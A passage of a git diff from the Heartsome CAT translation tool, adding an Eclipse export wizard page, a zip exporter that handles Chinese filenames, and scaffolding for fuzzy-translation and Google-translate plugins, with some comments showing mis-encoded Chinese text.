+ GridData data = new GridData(GridData.HORIZONTAL_ALIGN_FILL | GridData.GRAB_HORIZONTAL); + data.widthHint = SIZING_TEXT_FIELD_WIDTH; + destinationNameField.setLayoutData(data); + destinationNameField.setFont(font); + + // destination browse button + destinationBrowseButton = new Button(destinationSelectionGroup, SWT.PUSH); + destinationBrowseButton.setText(DataTransferMessages.DataTransfer_browse); + destinationBrowseButton.addListener(SWT.Selection, this); + destinationBrowseButton.setFont(font); + setButtonLayoutData(destinationBrowseButton); + + new Label(parent, SWT.NONE); // vertical spacer + } + + /** + * Create the button for checking if we should ask if we are going to overwrite existing files. + * @param optionsGroup + * @param font + */ + protected void createOverwriteExisting(Group optionsGroup, Font font) { + // overwrite... checkbox + overwriteExistingFilesCheckbox = new Button(optionsGroup, SWT.CHECK | SWT.LEFT); + overwriteExistingFilesCheckbox.setText(DataTransferMessages.ExportFile_overwriteExisting); + overwriteExistingFilesCheckbox.setFont(font); + } + + /** + * Attempts to ensure that the specified directory exists on the local file system. Answers a boolean indicating + * success. + * @return boolean + * @param directory + * java.io.File + */ + protected boolean ensureDirectoryExists(File directory) { + if (!directory.exists()) { + if (!queryYesNoQuestion(DataTransferMessages.DataTransfer_createTargetDirectory)) { + return false; + } + + if (!directory.mkdirs()) { + displayErrorDialog(DataTransferMessages.DataTransfer_directoryCreationError); + giveFocusToDestination(); + return false; + } + } + + return true; + } + + /** + * If the target for export does not exist then attempt to create it. Answer a boolean indicating whether the target + * exists (ie.- if it either pre-existed or this method was able to create it) + * @return boolean + */ + protected boolean ensureTargetIsValid(File targetDirectory) { + if (targetDirectory.exists() && !targetDirectory.isDirectory()) { + displayErrorDialog(DataTransferMessages.FileExport_directoryExists); + giveFocusToDestination(); + return false; + } + + return ensureDirectoryExists(targetDirectory); + } + + /** + * Set up and execute the passed Operation. Answer a boolean indicating success. + * @return boolean + */ + protected boolean executeExportOperation(FileSystemExportOperation op) { + op.setCreateLeadupStructure(true); + op.setOverwriteFiles(overwriteExistingFilesCheckbox.getSelection()); + + try { + getContainer().run(true, true, op); + } catch (InterruptedException e) { + return false; + } catch (InvocationTargetException e) { + displayErrorDialog(e.getTargetException()); + return false; + } + + IStatus status = op.getStatus(); + if (!status.isOK()) { + ErrorDialog.openError(getContainer().getShell(), DataTransferMessages.DataTransfer_exportProblems, null, // no + // special + // message + status); + return false; + } + + return true; + } + + private static final Logger LOGGER = LoggerFactory.getLogger(WizardFileSystemResourceExportPage2.class); + + /** + * The Finish button was pressed. Try to do the required work now and answer a boolean indicating success. If false + * is returned then the wizard will not close. + * @return boolean + */ + public boolean finish() { + List resourcesToExport = getWhiteCheckedResources(); + List defaultExportItems = getDefaultExportItems(); + boolean isContain = false; + boolean isBelongToSameProject = false; + for (Object defaultObj : defaultExportItems) { + if (defaultObj instanceof IResource) { + try { + ((IResource) defaultObj).refreshLocal(IResource.DEPTH_ZERO, null); + } catch (CoreException e) { + e.printStackTrace(); + LOGGER.error("", e); + } + String defaultPath = ((IResource) defaultObj).getFullPath().toOSString(); + for (Object obj : resourcesToExport) { + if (obj instanceof IProject) { + String path = ((IProject) obj).getFullPath().toOSString(); + if (defaultPath.equals(path + System.getProperty("file.separator") + ".config") + || defaultPath.equals(path + System.getProperty("file.separator") + ".project")) { + isContain = true; + isBelongToSameProject = true; + break; + } + } + if (obj instanceof IResource) { + String path = ((IResource) obj).getFullPath().toOSString(); + String projectPath = ((IResource) obj).getProject().getFullPath().toOSString(); + String defaultProjectPath = ((IResource) defaultObj).getProject().getFullPath().toOSString(); + if (projectPath.equals(defaultProjectPath)) { + isBelongToSameProject = true; + } + if (path.equals(defaultPath)) { + isContain = true; + break; + } + } + } + if (!isContain && isBelongToSameProject) { + resourcesToExport.add(defaultObj); + } else { + isContain = false; + } + } + isBelongToSameProject = false; + } + if (!ensureTargetIsValid(new File(getDestinationValue()))) { + return false; + } + + // Save dirty editors if possible but do not stop if not all are saved + saveDirtyEditors(); + // about to invoke the operation so save our state + saveWidgetValues(); + + return executeExportOperation(new FileSystemExportOperation(null, resourcesToExport, getDestinationValue(), + this)); + } + + /** + * Answer the string to display in self as the destination type + * @return java.lang.String + */ + protected String getDestinationLabel() { + return DataTransferMessages.FileExport_toDirectory; + } + + /** + * Answer the contents of self's destination specification widget + * @return java.lang.String + */ + protected String getDestinationValue() { + return destinationNameField.getText().trim(); + } + + /** + * Set the current input focus to self's destination entry field + */ + protected void giveFocusToDestination() { + destinationNameField.setFocus(); + } + + /** + * Open an appropriate destination browser so that the user can specify a source to import from + */ + protected void handleDestinationBrowseButtonPressed() { + DirectoryDialog dialog = new DirectoryDialog(getContainer().getShell(), SWT.SAVE | SWT.SHEET); + dialog.setMessage(SELECT_DESTINATION_MESSAGE); + dialog.setText(SELECT_DESTINATION_TITLE); + dialog.setFilterPath(getDestinationValue()); + String selectedDirectoryName = dialog.open(); + + if (selectedDirectoryName != null) { + setErrorMessage(null); + setDestinationValue(selectedDirectoryName); + } + } + + /** + * Handle all events and enablements for widgets in this page + * @param e + * Event + */ + public void handleEvent(Event e) { + Widget source = e.widget; + + if (source == destinationBrowseButton) { + handleDestinationBrowseButtonPressed(); + } + + updatePageCompletion(); + } + + /** + * Hook method for saving widget values for restoration by the next instance of this class. + */ + protected void internalSaveWidgetValues() { + // update directory names history + IDialogSettings settings = getDialogSettings(); + if (settings != null) { + String[] directoryNames = settings.getArray(STORE_DESTINATION_NAMES_ID); + if (directoryNames == null) { + directoryNames = new String[0]; + } + + directoryNames = addToHistory(directoryNames, getDestinationValue()); + settings.put(STORE_DESTINATION_NAMES_ID, directoryNames); + + // options + settings.put(STORE_OVERWRITE_EXISTING_FILES_ID, overwriteExistingFilesCheckbox.getSelection()); + + settings.put(STORE_CREATE_STRUCTURE_ID, true); + + } + } + + /** + * Hook method for restoring widget values to the values that they held last time this wizard was used to + * completion. + */ + protected void restoreWidgetValues() { + IDialogSettings settings = getDialogSettings(); + if (settings != null) { + String[] directoryNames = settings.getArray(STORE_DESTINATION_NAMES_ID); + if (directoryNames == null) { + return; // ie.- no settings stored + } + + // destination + setDestinationValue(directoryNames[0]); +// for (int i = 0; i < directoryNames.length; i++) { +// addDestinationItem(directoryNames[i]); +// } + + // options + overwriteExistingFilesCheckbox.setSelection(settings.getBoolean(STORE_OVERWRITE_EXISTING_FILES_ID)); + } + } + + /** + * Set the contents of the receivers destination specification widget to the passed value + */ + protected void setDestinationValue(String value) { + destinationNameField.setText(value); + } + + /** + * Answer a boolean indicating whether the receivers destination specification widgets currently all contain valid + * values. + */ + protected boolean validateDestinationGroup() { + String destinationValue = getDestinationValue(); + if (destinationValue.length() == 0) { + setMessage(destinationEmptyMessage()); + return false; + } + + String conflictingContainer = getConflictingContainerNameFor(destinationValue); + if (conflictingContainer == null) { + // no error message, but warning may exists + String threatenedContainer = getOverlappingProjectName(destinationValue); + if (threatenedContainer == null) + setMessage(null); + else + setMessage(NLS.bind(DataTransferMessages.FileExport_damageWarning, threatenedContainer), WARNING); + + } else { + setErrorMessage(NLS.bind(DataTransferMessages.FileExport_conflictingContainer, conflictingContainer)); + giveFocusToDestination(); + return false; + } + + return true; + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.dialogs.WizardDataTransferPage#validateSourceGroup() + */ + protected boolean validateSourceGroup() { + // there must be some resources selected for Export + boolean isValid = true; + List resourcesToExport = getWhiteCheckedResources(); + if (resourcesToExport.size() == 0) { + setErrorMessage(DataTransferMessages.FileExport_noneSelected); + isValid = false; + } else if (getDestinationValue() != null && !getDestinationValue().equals("")){ + setDescription(""); + } else { + setErrorMessage(null); + + } + return super.validateSourceGroup() && isValid; + } + + /** + * Get the message used to denote an empty destination. + */ + protected String destinationEmptyMessage() { + return DataTransferMessages.FileExport_destinationEmpty; + } + + /** + * Returns the name of a container with a location that encompasses targetDirectory. Returns null if there is no + * conflict. + * @param targetDirectory + * the path of the directory to check. + * @return the conflicting container name or null + */ + protected String getConflictingContainerNameFor(String targetDirectory) { + + IPath rootPath = ResourcesPlugin.getWorkspace().getRoot().getLocation(); + IPath testPath = new Path(targetDirectory); + // cannot export into workspace root + if (testPath.equals(rootPath)) + return rootPath.lastSegment(); + + // Are they the same? + if (testPath.matchingFirstSegments(rootPath) == rootPath.segmentCount()) { + String firstSegment = testPath.removeFirstSegments(rootPath.segmentCount()).segment(0); + if (!Character.isLetterOrDigit(firstSegment.charAt(0))) + return firstSegment; + } + + return null; + + } + + /** + * Returns the name of a {@link IProject} with a location that includes targetDirectory. Returns null if there is no + * such {@link IProject}. + * @param targetDirectory + * the path of the directory to check. + * @return the overlapping project name or null + */ + private String getOverlappingProjectName(String targetDirectory) { + IWorkspaceRoot root = ResourcesPlugin.getWorkspace().getRoot(); + IPath testPath = new Path(targetDirectory); + IContainer[] containers = root.findContainersForLocation(testPath); + if (containers.length > 0) { + return containers[0].getProject().getName(); + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/wizards/ZipFileExporter2.java b/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/wizards/ZipFileExporter2.java new file mode 100644 index 0000000..da36e59 --- /dev/null +++ b/ts/net.heartsome.cat.ts.exportproject/src/net/heartsome/cat/ts/exportproject/wizards/ZipFileExporter2.java @@ -0,0 +1,123 @@ +package net.heartsome.cat.ts.exportproject.wizards; + +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.util.zip.CRC32; + +import org.apache.tools.zip.ZipEntry; +import org.apache.tools.zip.ZipOutputStream; +import org.eclipse.core.resources.IContainer; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.ui.internal.wizards.datatransfer.IFileExporter; + +/** + * 此类与 org.eclipse.ui.internal.wizards.datatransfer.ZipFileExporter 代ç åŸºæœ¬æ˜¯ä¸€æ ·çš„,但当文件å包å«ä¸­æ–‡æ—¶ï¼Œ + * ZipFileExporter 生æˆçš„压缩包中的文件å包å«ä¹±ç ï¼Œæ­¤ç±»ä½¿ç”¨äº† ant.jar 生æˆåŽ‹ç¼©åŒ…,ä¸ä¼šåŒ…å«ä¹±ç ã€‚ + * @author peason + * @version + * @since JDK1.6 + */ +@SuppressWarnings("restriction") +public class ZipFileExporter2 implements IFileExporter { + private ZipOutputStream outputStream; + + private boolean useCompression = true; + + /** + * Create an instance of this class. + * + * @param filename java.lang.String + * @param compress boolean + * @exception java.io.IOException + */ + public ZipFileExporter2(String filename, boolean compress) throws IOException { + outputStream = new ZipOutputStream(new FileOutputStream(filename)); + useCompression = compress; + } + + /** + * Do all required cleanup now that we're finished with the + * currently-open .zip + * + * @exception java.io.IOException + */ + public void finished() throws IOException { + outputStream.close(); + } + + /** + * Write the contents of the file to the tar archive. + * + * @param entry + * @param contents + * @exception java.io.IOException + * @exception org.eclipse.core.runtime.CoreException + */ + private void write(ZipEntry entry, IFile contents) throws IOException, CoreException { + byte[] readBuffer = new byte[4096]; + + // If the contents are being compressed then we get the below for free. + if (!useCompression) { + entry.setMethod(ZipEntry.STORED); + InputStream contentStream = contents.getContents(false); + int length = 0; + CRC32 checksumCalculator = new CRC32(); + try { + int n; + while ((n = contentStream.read(readBuffer)) > 0) { + checksumCalculator.update(readBuffer, 0, n); + length += n; + } + } finally { + if (contentStream != null) { + contentStream.close(); + } + } + + entry.setSize(length); + entry.setCrc(checksumCalculator.getValue()); + } + + // set the timestamp + long localTimeStamp = contents.getLocalTimeStamp(); + if(localTimeStamp != IResource.NULL_STAMP) + entry.setTime(localTimeStamp); + + outputStream.putNextEntry(entry); + InputStream contentStream = contents.getContents(false); + try { + int n; + while ((n = contentStream.read(readBuffer)) > 0) { + outputStream.write(readBuffer, 0, n); + } + } finally { + if (contentStream != null) { + contentStream.close(); + } + } + outputStream.closeEntry(); + } + + public void write(IContainer container, String destinationPath) + throws IOException { + ZipEntry newEntry = new ZipEntry(destinationPath); + outputStream.putNextEntry(newEntry); + } + + /** + * Write the passed resource to the current archive. + * + * @param resource org.eclipse.core.resources.IFile + * @param destinationPath java.lang.String + * @exception java.io.IOException + * @exception org.eclipse.core.runtime.CoreException + */ + public void write(IFile resource, String destinationPath) + throws IOException, CoreException { + ZipEntry newEntry = new ZipEntry(destinationPath); + write(newEntry, resource); + } +} diff --git a/ts/net.heartsome.cat.ts.fuzzyTranslation/.classpath b/ts/net.heartsome.cat.ts.fuzzyTranslation/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/ts/net.heartsome.cat.ts.fuzzyTranslation/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/ts/net.heartsome.cat.ts.fuzzyTranslation/.project b/ts/net.heartsome.cat.ts.fuzzyTranslation/.project new file mode 100644 index 0000000..eaecc44 --- /dev/null +++ b/ts/net.heartsome.cat.ts.fuzzyTranslation/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.ts.fuzzyTranslation + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/ts/net.heartsome.cat.ts.fuzzyTranslation/.settings/org.eclipse.jdt.core.prefs b/ts/net.heartsome.cat.ts.fuzzyTranslation/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/ts/net.heartsome.cat.ts.fuzzyTranslation/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/ts/net.heartsome.cat.ts.fuzzyTranslation/META-INF/MANIFEST.MF b/ts/net.heartsome.cat.ts.fuzzyTranslation/META-INF/MANIFEST.MF new file mode 100644 index 0000000..96029a2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.fuzzyTranslation/META-INF/MANIFEST.MF @@ -0,0 +1,18 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TS Fuzzy Translation +Bundle-SymbolicName: net.heartsome.cat.ts.fuzzyTranslation;singleton:=true +Bundle-Version: 8.0.1.R8b_v20130416 +Bundle-Activator: net.heartsome.cat.ts.fuzzytranslation.Activator +Bundle-Localization: plugin +Require-Bundle: org.eclipse.ui, + org.eclipse.core.runtime, + net.heartsome.cat.ts.core;bundle-version="1.0.0", + net.heartsome.cat.ts.ui;bundle-version="1.0.0", + net.heartsome.cat.common.core;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: net.heartsome.cat.ts.ui.xliffeditor.nattable.editor, + net.heartsome.cat.ts.ui.xliffeditor.nattable.utils +Bundle-ClassPath: . +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/ts/net.heartsome.cat.ts.fuzzyTranslation/build.properties b/ts/net.heartsome.cat.ts.fuzzyTranslation/build.properties new file mode 100644 index 0000000..784c47e --- /dev/null +++ b/ts/net.heartsome.cat.ts.fuzzyTranslation/build.properties @@ -0,0 +1,9 @@ +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + plugin.xml,\ + images/,\ + plugin.properties,\ + plugin_zh.properties,\ + plugin_en.properties diff --git a/ts/net.heartsome.cat.ts.fuzzyTranslation/images/multi_trans.png b/ts/net.heartsome.cat.ts.fuzzyTranslation/images/multi_trans.png new file mode 100644 index 0000000..d508d63 Binary files /dev/null and b/ts/net.heartsome.cat.ts.fuzzyTranslation/images/multi_trans.png differ diff --git a/ts/net.heartsome.cat.ts.fuzzyTranslation/plugin.properties b/ts/net.heartsome.cat.ts.fuzzyTranslation/plugin.properties new file mode 100644 index 0000000..508f1d5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.fuzzyTranslation/plugin.properties @@ -0,0 +1,6 @@ +# properties file for locale [zh] + +menu.translation.FuzzyTranslation = \u7e41\u6b96\u7ffb\u8bd1 +category.translation = \u7ffb\u8bd1 +command.FuzzyTranslation = \u7e41\u6b96\u7ffb\u8bd1 + diff --git a/ts/net.heartsome.cat.ts.fuzzyTranslation/plugin.xml b/ts/net.heartsome.cat.ts.fuzzyTranslation/plugin.xml new file mode 100644 index 0000000..6db10aa --- /dev/null +++ b/ts/net.heartsome.cat.ts.fuzzyTranslation/plugin.xml @@ -0,0 +1,64 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.fuzzyTranslation/plugin_en.properties b/ts/net.heartsome.cat.ts.fuzzyTranslation/plugin_en.properties new file mode 100644 index 0000000..a98a3f5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.fuzzyTranslation/plugin_en.properties @@ -0,0 +1,6 @@ +# properties file for locale [zh] + +menu.translation.FuzzyTranslation = Propagate Translation +category.translation = Translation +command.FuzzyTranslation = Propagate Translation + diff --git a/ts/net.heartsome.cat.ts.fuzzyTranslation/plugin_zh.properties b/ts/net.heartsome.cat.ts.fuzzyTranslation/plugin_zh.properties new file mode 100644 index 0000000..508f1d5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.fuzzyTranslation/plugin_zh.properties @@ -0,0 +1,6 @@ +# properties file for locale [zh] + +menu.translation.FuzzyTranslation = \u7e41\u6b96\u7ffb\u8bd1 +category.translation = \u7ffb\u8bd1 +command.FuzzyTranslation = \u7e41\u6b96\u7ffb\u8bd1 + diff --git a/ts/net.heartsome.cat.ts.fuzzyTranslation/src/net/heartsome/cat/ts/fuzzytranslation/Activator.java b/ts/net.heartsome.cat.ts.fuzzyTranslation/src/net/heartsome/cat/ts/fuzzytranslation/Activator.java new file mode 100644 index 0000000..51336f9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.fuzzyTranslation/src/net/heartsome/cat/ts/fuzzytranslation/Activator.java @@ -0,0 +1,50 @@ +package net.heartsome.cat.ts.fuzzytranslation; + +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.ts.fuzzyTranslation"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/ts/net.heartsome.cat.ts.fuzzyTranslation/src/net/heartsome/cat/ts/fuzzytranslation/handler/ExecuteFuzzyTranslationHandler.java b/ts/net.heartsome.cat.ts.fuzzyTranslation/src/net/heartsome/cat/ts/fuzzytranslation/handler/ExecuteFuzzyTranslationHandler.java new file mode 100644 index 0000000..f1939da --- /dev/null +++ b/ts/net.heartsome.cat.ts.fuzzyTranslation/src/net/heartsome/cat/ts/fuzzytranslation/handler/ExecuteFuzzyTranslationHandler.java @@ -0,0 +1,68 @@ +package net.heartsome.cat.ts.fuzzytranslation.handler; + +import java.lang.reflect.InvocationTargetException; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.ts.core.file.RepeatRowSearcher; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.fuzzytranslation.resource.Messages; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.jface.dialogs.ProgressMonitorDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; +/** + * 执行ç¹æ®–翻译(ç¹æ®–翻译ä¸æ±‚匹é…率,ä¸æŸ¥è¯¢æ•°æ®åº“,åªåœ¨æ–‡ä»¶å†…部ç¹æ®–æºæ–‡æœ¬ç›¸åŒçš„文本段) + * @author robert 2012-04-02 + * @version + * @since JDK1.6 + */ +public class ExecuteFuzzyTranslationHandler extends AbstractHandler { + private static final String XLIFF_EDITOR_ID = "net.heartsome.cat.ts.ui.xliffeditor.nattable.editor"; + + public Object execute(ExecutionEvent event) throws ExecutionException { + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindow(event); + IEditorPart editor = window.getActivePage().getActiveEditor(); + if (!XLIFF_EDITOR_ID.equals(editor.getSite().getId())) { + return null; + } + final XLIFFEditorImplWithNatTable nattable = (XLIFFEditorImplWithNatTable) editor; + final NattableUtil util = NattableUtil.getInstance(nattable); + + IRunnableWithProgress runnable = new IRunnableWithProgress() { + + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { +// monitor.beginTask(Messages.getString("translation.ExecuteFuzzyTranslationHandler.task1"), 8); + // 首选获å–有译文的trans-unit + monitor.beginTask(Messages.getString("translation.ExecuteFuzzyTranslationHandler.task2"), 10); + + XLFHandler handler = nattable.getXLFHandler(); + Map> rowIdMap = new HashMap>(); + rowIdMap = RepeatRowSearcher.getRepeateRowsForFuzzy(handler); + monitor.worked(1); + + util.propagateTranslations(rowIdMap, monitor); + monitor.done(); + } + }; + + try { + new ProgressMonitorDialog(nattable.getEditorSite().getShell()).run(true, true, runnable); + } catch (InvocationTargetException e) { + e.printStackTrace(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + nattable.autoResize(); + return null; + } +} diff --git a/ts/net.heartsome.cat.ts.fuzzyTranslation/src/net/heartsome/cat/ts/fuzzytranslation/resource/Messages.java b/ts/net.heartsome.cat.ts.fuzzyTranslation/src/net/heartsome/cat/ts/fuzzytranslation/resource/Messages.java new file mode 100644 index 0000000..a3d4755 --- /dev/null +++ b/ts/net.heartsome.cat.ts.fuzzyTranslation/src/net/heartsome/cat/ts/fuzzytranslation/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.ts.fuzzytranslation.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author robert 2012-08-29 + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.ts.fuzzytranslation.resource.fuzzyTrans"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/ts/net.heartsome.cat.ts.fuzzyTranslation/src/net/heartsome/cat/ts/fuzzytranslation/resource/fuzzyTrans.properties b/ts/net.heartsome.cat.ts.fuzzyTranslation/src/net/heartsome/cat/ts/fuzzytranslation/resource/fuzzyTrans.properties new file mode 100644 index 0000000..5934a97 --- /dev/null +++ b/ts/net.heartsome.cat.ts.fuzzyTranslation/src/net/heartsome/cat/ts/fuzzytranslation/resource/fuzzyTrans.properties @@ -0,0 +1,3 @@ +# properties file for locale [zh] +translation.ExecuteFuzzyTranslationHandler.task1 = \u6b63\u5728\u6267\u884c\u6279\u51c6\u64cd\u4f5c... +translation.ExecuteFuzzyTranslationHandler.task2 = \u7e41\u6b96\u7ffb\u8bd1\uff0c\u5904\u7406\u6587\u672c\u6bb5... diff --git a/ts/net.heartsome.cat.ts.fuzzyTranslation/src/net/heartsome/cat/ts/fuzzytranslation/resource/fuzzyTrans_en.properties b/ts/net.heartsome.cat.ts.fuzzyTranslation/src/net/heartsome/cat/ts/fuzzytranslation/resource/fuzzyTrans_en.properties new file mode 100644 index 0000000..6028c7a --- /dev/null +++ b/ts/net.heartsome.cat.ts.fuzzyTranslation/src/net/heartsome/cat/ts/fuzzytranslation/resource/fuzzyTrans_en.properties @@ -0,0 +1,3 @@ +# properties file for locale [zh] +translation.ExecuteFuzzyTranslationHandler.task1 = Approving... +translation.ExecuteFuzzyTranslationHandler.task2 = Propagate translation, process segments... diff --git a/ts/net.heartsome.cat.ts.fuzzyTranslation/src/net/heartsome/cat/ts/fuzzytranslation/resource/fuzzyTrans_zh.properties b/ts/net.heartsome.cat.ts.fuzzyTranslation/src/net/heartsome/cat/ts/fuzzytranslation/resource/fuzzyTrans_zh.properties new file mode 100644 index 0000000..5934a97 --- /dev/null +++ b/ts/net.heartsome.cat.ts.fuzzyTranslation/src/net/heartsome/cat/ts/fuzzytranslation/resource/fuzzyTrans_zh.properties @@ -0,0 +1,3 @@ +# properties file for locale [zh] +translation.ExecuteFuzzyTranslationHandler.task1 = \u6b63\u5728\u6267\u884c\u6279\u51c6\u64cd\u4f5c... +translation.ExecuteFuzzyTranslationHandler.task2 = \u7e41\u6b96\u7ffb\u8bd1\uff0c\u5904\u7406\u6587\u672c\u6bb5... diff --git a/ts/net.heartsome.cat.ts.googletrans/.classpath b/ts/net.heartsome.cat.ts.googletrans/.classpath new file mode 100644 index 0000000..d7b54b3 --- /dev/null +++ b/ts/net.heartsome.cat.ts.googletrans/.classpath @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.googletrans/.project b/ts/net.heartsome.cat.ts.googletrans/.project new file mode 100644 index 0000000..dc57d94 --- /dev/null +++ b/ts/net.heartsome.cat.ts.googletrans/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.ts.googletrans + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/ts/net.heartsome.cat.ts.googletrans/.settings/org.eclipse.jdt.core.prefs b/ts/net.heartsome.cat.ts.googletrans/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/ts/net.heartsome.cat.ts.googletrans/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/ts/net.heartsome.cat.ts.googletrans/META-INF/MANIFEST.MF b/ts/net.heartsome.cat.ts.googletrans/META-INF/MANIFEST.MF new file mode 100644 index 0000000..6635a4e --- /dev/null +++ b/ts/net.heartsome.cat.ts.googletrans/META-INF/MANIFEST.MF @@ -0,0 +1,24 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TS Google +Bundle-SymbolicName: net.heartsome.cat.ts.googletrans;singleton:=true +Bundle-Version: 8.0.2.R8b_v20130220 +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Require-Bundle: org.eclipse.ui;bundle-version="3.7.0", + org.eclipse.jface.text;bundle-version="3.7.0", + org.eclipse.core.runtime;bundle-version="3.7.0", + net.heartsome.cat.common.core;bundle-version="1.0.0", + net.heartsome.cat.ts.tm;bundle-version="1.0.0", + net.heartsome.cat.ts.ui;bundle-version="1.0.0", + net.heartsome.cat.ts.core;bundle-version="1.0.0", + net.heartsome.cat.ts.ui.translation;bundle-version="1.0.0", + org.eclipse.ui.ide;bundle-version="3.7.0", + net.heartsome.cat.thirdpartlibrary;bundle-version="8.0.0" +Bundle-Activator: net.heartsome.cat.ts.googletrans.Activator +Bundle-ActivationPolicy: lazy +Bundle-ClassPath: ., + lib/google-api-translate-java-0.97.jar, + lib/json-20090211.jar +Bundle-Localization: plugin +Import-Package: net.heartsome.cat.common.ui +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/ts/net.heartsome.cat.ts.googletrans/build.properties b/ts/net.heartsome.cat.ts.googletrans/build.properties new file mode 100644 index 0000000..d1f2f3a --- /dev/null +++ b/ts/net.heartsome.cat.ts.googletrans/build.properties @@ -0,0 +1,13 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + plugin.xml,\ + lib/google-api-translate-java-0.97.jar,\ + lib/json-20090211.jar,\ + images/,\ + plugin_en.properties,\ + plugin.properties,\ + plugin_zh.properties +source.. = src/ diff --git a/ts/net.heartsome.cat.ts.googletrans/images/error.png b/ts/net.heartsome.cat.ts.googletrans/images/error.png new file mode 100644 index 0000000..c604004 Binary files /dev/null and b/ts/net.heartsome.cat.ts.googletrans/images/error.png differ diff --git a/ts/net.heartsome.cat.ts.googletrans/images/google_trans.png b/ts/net.heartsome.cat.ts.googletrans/images/google_trans.png new file mode 100644 index 0000000..18e5f34 Binary files /dev/null and b/ts/net.heartsome.cat.ts.googletrans/images/google_trans.png differ diff --git a/ts/net.heartsome.cat.ts.googletrans/images/right.png b/ts/net.heartsome.cat.ts.googletrans/images/right.png new file mode 100644 index 